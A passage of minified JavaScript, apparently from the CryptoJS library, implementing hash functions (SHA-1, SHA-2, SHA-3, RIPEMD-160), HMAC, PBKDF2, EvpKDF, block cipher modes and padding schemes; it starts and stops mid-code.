= new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 